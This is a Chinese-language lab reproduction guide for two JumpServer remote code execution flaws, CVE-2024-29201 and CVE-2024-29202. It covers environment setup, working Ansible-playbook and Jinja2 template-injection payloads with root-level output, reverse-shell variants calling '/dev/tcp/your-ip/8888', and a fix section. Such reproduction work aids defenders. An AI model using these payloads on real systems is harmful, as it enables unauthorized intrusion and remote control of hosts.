JumpServer 远程代码执行漏洞 CVE-2024-29201&CVE-2024-29202
漏洞描述
JumpServer 是使用广泛的开源堡垒机,使用 GNU GPL v2.0 开源协议,是符合 4A 规范的运维安全审计系统。
- CVE-2024-29201 远程代码执行漏洞:由于 JumpServer 中的 Ansible 模块未进行完整的输入验证,具有低权限账户的攻击者可以绕过输入验证机制在 Celery 容器中执行任意代码,并从主机中窃取敏感信息或操纵数据库。
- CVE-2024-29202 Jinjia2 模板注入漏洞:经过身份验证的攻击者可以通过构建恶意 playbook 模板,利用 Ansible 中的 Jinja2 模板引擎在 Celery 容器中执行任意代码,并从主机中窃取敏感信息或操纵数据库。
两个漏洞利用的条件都需要账号且至少有一个资产。
参考链接:
- https://github.com/jumpserver/jumpserver/security/advisories/GHSA-pjpp-cm9x-6rwj
- https://github.com/jumpserver/jumpserver/security/advisories/GHSA-2vvr-vmvx-73ch
- https://wh0am1i.com/2024/03/30/JumpServer-CVE-2024-29201-CVE-2024-29202/
漏洞影响
v3.0.0 <= JumpServer <= v3.10.6
网络测绘
app="JumpServer-Bastion-Host"
环境搭建
下载官方提供的 脚本,编辑 quick_start.sh
,将脚本中的 VERSION
修改为存在漏洞版本,如:V3.10.6
。
环境启动后,访问 http://your-ip
即可看到 JumpServer 首页,默认账号密码 admin/admin
。默认密码登陆后,JumpServer 将强制要求用户修改密码。
创建用户
用户管理 → 用户列表 → 创建
创建用户 threekiii
,后续将使用该账户进行攻击操作:
添加资产
准备一个 Linux 资产:
[IP Address] 192.168.43.169
[Username/Password] kali/kali
将这个 Linux 资产添加到资产列表,命名为 test
:
资产管理 → 资产列表 → 创建
添加完成后,点击更新,添加账号 kali
并配置密码为 kali
:
点击测试,以测试配置是否成功:
授权资产
将上一步添加的资产 test
授权给用户 threekiii
:
权限管理 → 资产授权 → 创建
漏洞复现
CVE-2024-29201
以攻击者用户 threekiii
登录 JumpServer,切换到工作台,创建 Playbook,命名为 CVE-2024-29201
:
作业中心 → 模板管理 → Playbook管理 → 创建 → 创建playbook
点击创建的 Playbook 名称 CVE-2024-29201
,切换到工作空间,输入以下内容,保存:
[{
"name": "RCE playbook",
"hosts": "all",
"tasks": [
{
"name": "this runs in Celery container",
"shell": "id > /tmp/awesome_poc",
"\u0064elegate_to": "localhost"
} ],
"vars": {
"ansible_\u0063onnection": "local"
}
}]
切换到作业管理,创建一个新的 Playbook 作业:
作业中心 → 作业管理 → 创建 → Playbook作业
点击提交,运行作业:
进入 Celery 容器,成功在 /tmp
目录下创建 awesome_poc
文件:
root@jms_celery:/opt/jumpserver# ls /tmp
artifacts awesome_poc local.pid worker_heartbeat_ansible worker_heartbeat_celery worker_ready_ansible worker_ready_celery
root@jms_celery:/opt/jumpserver# cat /tmp/awesome_poc
uid=0(root) gid=0(root) groups=0(root)
CVE-2024-29202
以攻击者用户 threekiii
登录 JumpServer,切换到工作台,创建 Playbook,命名为 CVE-2024-29202
:
作业中心 → 模板管理 → Playbook管理 → 创建 → 创建playbook
点击创建的 Playbook 名称 CVE-2024-29202
,切换到工作空间,输入以下内容,保存:
- name: |
{% for x in ().__class__.__base__.__subclasses__() %}
{% if "warning" in x.__name__ %}
{{
x()._module.__builtins__["__import__"]("os").system("id > /tmp/awesome_poc_2")
}}
{%endif%}
{%endfor%}
切换到作业管理,创建一个新的 Playbook 作业:
作业中心 → 作业管理 → 创建 → Playbook作业
点击提交,运行作业,报错不影响执行:
进入 Celery 容器,成功在 /tmp
目录下创建 awesome_poc_2
文件:
root@jms_celery:/opt/jumpserver# ls /tmp
artifacts awesome_poc awesome_poc_2 local.pid worker_heartbeat_ansible worker_heartbeat_celery worker_ready_ansible worker_ready_celery
root@jms_celery:/opt/jumpserver# cat /tmp/awesome_poc_2
127.0.0.1 localhost
::1 localhost ip6-localhost ip6-loopback
fe00::0 ip6-localnet
ff00::0 ip6-mcastprefix
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters
192.168.250.7 jms_celery
Reverse Shell
CVE-2024-29201 payload:
[{
"name": "RCE playbook",
"hosts": "all",
"tasks": [
{
"name": "this runs in Celery container",
"shell": "bash -i >& /dev/tcp/your-ip/8888 0>&1",
"\u0064elegate_to": "localhost"
} ],
"vars": {
"ansible_\u0063onnection": "local"
}
}]
CVE-2024-29202 payload:
- name: |
{% for x in ().__class__.__base__.__subclasses__() %}
{% if "warning" in x.__name__ %}
{{
x()._module.__builtins__["__import__"]("os").system("bash -i >& /dev/tcp/your-ip/8888 0>&1")
}}
{%endif%}
{%endfor%}
漏洞修复
- 升级到 v3.10.7 版本。目前官方已在最新版本中修复了上述漏洞,下载链接: https://github.com/jumpserver/jumpserver/releases。
- 关闭任务中心,任务中心位于:系统设置 - 功能设置 - 任务中心。